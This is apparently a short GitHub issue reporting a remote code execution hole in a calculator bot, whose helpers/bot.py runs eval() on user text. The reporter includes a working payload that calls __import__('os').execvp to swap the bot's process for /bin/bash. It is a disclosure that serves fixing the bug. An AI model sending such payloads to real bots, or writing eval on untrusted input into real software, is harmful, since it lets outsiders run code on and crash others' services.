Remote code execution

[Akshay Rajput]

Why did you even think of doing this?

calculator-bot/helpers/bot.py

Line 54 in 0c22823

 return float(eval(text)) 

It evaluates any python code that is passed in it, so using

@calcit_bot __import__('os').execvp("/bin/bash", ["/bin/bash"])

is enough to kill the bot.

[Deleted user]

XD